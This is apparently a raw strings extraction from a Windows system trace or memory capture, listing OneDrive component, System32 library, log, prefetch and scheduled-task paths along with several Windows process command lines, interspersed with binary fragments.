\Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0800.6368.2.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\OneDriveTelemetryStable.dll \Device\HarddiskVolume3\Windows\System32\IPHLPAPI.DLL \Device\HarddiskVolume3\Windows\System32\Windows.UI.Xaml.Resources.19h1.dll \Device\HarddiskVolume3\Windows\System32\Windows.UI.Xaml.Resources.19h1.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\Windows.UI.Xaml.Resources.19h1.dll \Device\HarddiskVolume3\Windows\System32\Windows.UI.Xaml.Resources.19h1.dll \Device\HarddiskVolume3\Windows\System32\Windows.UI.Xaml.Resources.19h1.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0806.8008.1.aodl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0806.8008.1.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncTelemetryExtensions.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Microsoft.ReactNative.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_1_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_1_app.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_1_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_1_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_1_app.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_1_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_1_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_app.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_1_app.dll 'nY" \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\CheckboxWindows.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\ReactNativePicker.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\ReactNativePicker.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\ReactNativePicker.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\ReactNativePicker.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\ReactNativePicker.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\ReactNativePicker.dll \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.UI.Xaml.winmd:WofCompressedData \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.UI.Xaml.winmd:WofCompressedData \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.UI.Xaml.winmd \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\RNSVG.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\RNSVG.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\RNSVG.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\RNSVG.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\RNSVG.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\ReactNativeVideoCPP.dll \Device\HarddiskVolume3\Windows\System32\dcomp.dll \Device\HarddiskVolume3\Windows\System32\MicrosoftAccountWAMExtension.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFSNtfs.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFSNtfsWB.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFSDbfsWB.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFSCache.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFALWB.dll \Device\HarddiskVolume3\Windows\System32\cldapi.dll \Device\HarddiskVolume3\Windows\System32\wscapi.dll \Device\HarddiskVolume3\Windows\System32\uxtheme.dll \Device\HarddiskVolume3\Windows\System32\clbcatq.dll \Device\HarddiskVolume3\Windows\System32\FamilySafetyExt.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\Wpc.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\Wpc.dll \Device\HarddiskVolume3\Windows\System32\normaliz.dll \Device\HarddiskVolume3\Windows\System32\wlidprov.dll \Device\HarddiskVolume3\Windows\System32\taskschd.dll \Device\HarddiskVolume3\Users\job\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 \Device\HarddiskVolume3\Windows\System32\Windows.Graphics.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\INetCache\IE\VW1VO8WL \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\INetCache\IE\VW1VO8WL\0872af26047692500f0c318077d1cfd61f3a327d[1].xml \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\hermes.dll \Device\HarddiskVolume3\Windows\System32\icuuc.dll \Device\HarddiskVolume3\Windows\System32\icuuc.dll \Device\HarddiskVolume3\Windows\System32\icuin.dll \Device\HarddiskVolume3\Windows\System32\icuin.dll \Device\HarddiskVolume3\Windows\System32\icuuc.dll \Device\HarddiskVolume3\Windows\System32\icuin.dll \Device\HarddiskVolume3\Windows\System32\icu.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\Update\update.xml \Device\HarddiskVolume3\Windows\System32\Windows.System.Launcher.dll DManip Delegate Thread \Device\HarddiskVolume3\Windows\System32\Windows.UI.Core.TextInput.dll \Device\HarddiskVolume3\Windows\System32\CoreUIComponents.dll \Device\HarddiskVolume3\Windows\System32\edputil.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\CxP.db \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\CxP.db-shm \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Runlevel-Win4-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Runlevel-Win4-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Runlevel-Win4-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Runlevel-Win4-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Runlevel-Win4-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Runlevel-Win4-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Runlevel-Win4-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Runlevel-Win4-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Bundle \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryPS.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Sdch Dictionaries~RF10c30.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000163 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000165 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000165\775bd83bf93443bdbdb7251e70d1a8d3_1 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup RestartSavedApps \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\TwinSxS.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\TwinSxS.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\TwinSxS.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\TwinSxS.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\userinit.exe \Device\HarddiskVolume3\Windows\System32\userinitext.dll \Device\HarddiskVolume3\Windows\System32\policymanager.dll \Device\HarddiskVolume3\Windows\System32\uxtheme.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\cryptbase.dll \Device\HarddiskVolume3\Windows\System32\dpapi.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\crypt32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\System32\ntdll.dll eC:\WINDOWS\system32\userinit.exe \Device\HarddiskVolume2 \Device\HarddiskVolume3\Windows\System32\vbsapi.dll \Device\HarddiskVolume3\Windows\Prefetch\DLLHOST.EXE-743755C1.pf \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy\machine.pckgdep \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy\machine.pckgdep \Device\HarddiskVolume3\Windows\Prefetch\MSEDGEWEBVIEW2.EXE-CEE40449.pf (Dev Dev <2d* \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileCoAuthLib64.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0806.8008.2.aodl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0806.8008.2.odl &d*U *9&D. *G&~ *9&L. */&H. 3&E. *:&F E.x& e"C:\WINDOWS\system32\dxgiadaptercache.exe" \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\DXCore.dll +F: \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\logUploaderSettings_temp.ini \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\CldFlt3-2026-02-24-080700.etlgz \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\SyncEngine-2026-02-24.0759.3664.2.odlgz \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0800.6368.2.odlgz \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\setup\logs\StandaloneUpdate_2026-02-24_080424_6800-3884.log \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\StandaloneUpdate_2026-02-24_080424_6800-3884.loggz \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\SyncEngine-2026-02-24.0806.5016.1.odlgz \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0806.8008.2.odlgz \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0800.6368.1.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0800.6368.2.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0806.8008.2.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0806.8008.1.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\index-dir\temp-index \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\index-dir\the-real-index~RF1364d.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\index-dir\the-real-index \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\index-dir\the-real-index~RF1364d.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\index-dir\the-real-index~RF1364d.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\index-dir\temp-index \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\index-dir\the-real-index isk \Device\HarddiskVolume3\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\index-dir\the-real-index~RF1364d.TMP \Device\HarddiskVolume3\Windows\System32\sppwinob.dll \Device\HarddiskVolume3\Windows\System32\SppExtComObj.Exe \Device\HarddiskVolume3\Windows\System32\adsldpc.dll \Device\HarddiskVolume3\Windows\System32\activeds.dll \Device\HarddiskVolume3\Windows\System32\IPHLPAPI.DLL \Device\HarddiskVolume3\Windows\System32\dnsapi.dll \Device\HarddiskVolume3\Windows\System32\rsaenh.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\logoncli.dll \Device\HarddiskVolume3\Windows\System32\cryptsp.dll \Device\HarddiskVolume3\Windows\System32\cryptbase.dll \Device\HarddiskVolume3\Windows\System32\WinTypes.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\ws2_32.dll \Device\HarddiskVolume3\Windows\System32\Wldap32.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\shell32.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\nsi.dll \Device\HarddiskVolume3\Windows\System32\ole32.dll \Device\HarddiskVolume3\Windows\System32\clbcatq.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\System32\ntdll.dll eC:\WINDOWS\system32\SppExtComObj.exe -Embedding \Device\HarddiskVolume3\Windows\System32\Clipc.dll \Device\HarddiskVolume3\Windows\System32\netapi32.dll \Device\HarddiskVolume3\Windows\System32\dsrole.dll \Device\HarddiskVolume3\Windows\System32\sppobjs.dll \Device\HarddiskVolume3\Windows\System32\taskschd.dll \Device\HarddiskVolume3\Windows\System32\sppsvc.exe \Device\HarddiskVolume3\Windows\System32\webservices.dll \Device\HarddiskVolume3\Windows\System32\pkeyhelper.dll \Device\HarddiskVolume3\Windows\System32\cryptxml.dll \Device\HarddiskVolume3\Windows\System32\xmllite.dll \Device\HarddiskVolume3\Windows\System32\rsaenh.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\sspicli.dll \Device\HarddiskVolume3\Windows\System32\cryptsp.dll \Device\HarddiskVolume3\Windows\System32\cryptbase.dll \Device\HarddiskVolume3\Windows\System32\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\crypt32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\ole32.dll \Device\HarddiskVolume3\Windows\System32\clbcatq.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\System32\ntdll.dll eC:\WINDOWS\system32\sppsvc.exe {.f[ ~,*j @*H2 1*E2 .*B2 pe3\ $ind \Device\HarddiskVolume3\Windows\System32\keepaliveprovider.dll \Device\HarddiskVolume3\Windows\System32\keepaliveprovider.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\keepaliveprovider.dll \Device\HarddiskVolume3\Windows\System32\keepaliveprovider.dll \Device\HarddiskVolume3\Windows\System32\keepaliveprovider.dll::$EA \Device\HarddiskVolume3\Windows\System32\keepaliveprovider.dll etaskhostw.exe $(Arg0) NDev \Device\HarddiskVolume3\Windows\System32\WorkFoldersShell.dll \Device\HarddiskVolume3\Windows\System32\WorkFoldersShell.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\SettingsConfigTask.dll \Device\HarddiskVolume3\Windows\System32\SettingsConfigTask.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\uxtheme.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\System32\clbcatq.dll \Device\HarddiskVolume3\Windows\System32\sqmapi.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\sqmapi.dll::$EA \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\extensions_crx_cache\metadata.json \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryPS.dll \Device\HarddiskVolume3\Windows\SystemTemp\APPX.6cdx9ob5a47lfn48f1wk26rhc.tmp \Device\HarddiskVolume3\Windows\SystemTemp\APPX.tyw2oku5iyym6ec0q_4ljzflb.tmp \Device\HarddiskVolume3\Windows\SystemTemp\APPX.3osd6h6vqgfbr8bw8jlf8q2eh.tmp \Device\HarddiskVolume3\Windows\System32\cryptxml.dll \Device\HarddiskVolume3\Windows\SystemTemp\APPX.e35y49hq48i0vkfokp4fhlvqg.tmp \Device\HarddiskVolume3\Windows\System32\en-US\msxml6r.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\msxml6r.dll.mui:WofCompressedData e\\?\C:\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthHost.exe \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\ole32.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\crypt32.dll \Device\HarddiskVolume3\Windows\System32\wintrust.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Windows\System32\msasn1.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\netutils.dll \Device\HarddiskVolume3\Windows\System32\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\dsreg.dll \Device\HarddiskVolume3\Windows\System32\dpapi.dll \Device\HarddiskVolume3\Windows\System32\netapi32.dll \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryCore.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealthUdk.dll \Device\HarddiskVolume3\Windows\System32\shlwapi.dll \Device\HarddiskVolume3\Windows\System32\windows.storage.dll \Device\HarddiskVolume3\Windows\System32\WinTypes.dll \Device\HarddiskVolume3\Windows\System32\windows.storage.dll \Device\HarddiskVolume3\Windows\System32\shlwapi.dll \Device\HarddiskVolume3\Windows\System32\shell32.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\netutils.dll \Device\HarddiskVolume3\Windows\System32\netapi32.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\ntmarta.dll \Device\HarddiskVolume3\Windows\System32\winhttp.dll \Device\HarddiskVolume3\Windows\System32\userenv.dll \Device\HarddiskVolume3\Windows\System32\dsreg.dll \Device\HarddiskVolume3\Windows\System32\dpapi.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthAgent.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthHost.exe \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryCore.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\msasn1.dll \Device\HarddiskVolume3\Windows\System32\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\wintrust.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\crypt32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\ole32.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Windows\System32\clbcatq.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\System32\ntdll.dll e\\?\C:\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding 